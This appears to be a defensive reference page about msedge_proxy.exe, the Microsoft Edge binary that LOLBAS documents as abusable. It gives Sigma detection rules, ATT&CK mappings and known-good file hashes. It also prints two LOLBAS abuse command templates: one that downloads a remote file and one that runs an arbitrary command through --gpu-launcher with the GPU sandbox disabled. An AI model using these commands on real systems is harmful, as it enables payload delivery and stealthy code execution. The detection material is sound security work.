Ceplin Command Identifier

Identifier / Programs / Windows

msedge_proxy.exe

Microsoft Edge file version info (xCyclopedia)

LOLBAS Download, Execute 2 Sigma rules name it 3 ATT&CK techniques 2 documented commands 2 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How msedge_proxy.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

files

Execute T1218.015 System Binary Proxy Execution: Electron Applications

files

--disable-gpu-sandbox
--gpu-launcher

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msedge_proxy.exe.

2 documented commands

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

msedge_proxy will download malicious file.

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}
Identify

Execute T1218.015 System Binary Proxy Execution: Electron Applications User privileges

msedge_proxy.exe will execute file in the background

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Identify

None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msedge_proxy.exe, by Mert Daş, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msedge_proxy.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
mediumArbitrary File Download Via MSEDGE_PROXY.EXESwachchhanda Shrawan Poudel
mediumPotentially Suspicious Electron Application CommandLinefrack113, Nasreddine Bencherchali (Nextron Systems)
T1105Ingress Tool Transfer
T1218System Binary Proxy Execution
T1218.015System Binary Proxy Execution: Electron Applications

Is it the real msedge_proxy.exe?

file version info and known copies
Installed inC:\Program Files (x86)\Microsoft\Edge\Application\
Signed byMicrosoft Corporation
ProductMicrosoft Edge, Microsoft Corporation
DescriptionMicrosoft Edge

2 known copies

95.0.1020.40 · C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe · signed by Microsoft Corporation

9b584d4fcc0e95b27926734db566ebd65135ea09e6d2a7e54a06506375524c0e

85.0.564.68 · C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe · signed by Microsoft Corporation

9aa7a7a1aef81536807044c829153e57501c4052234b4d8c243d85f7b08c2907

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.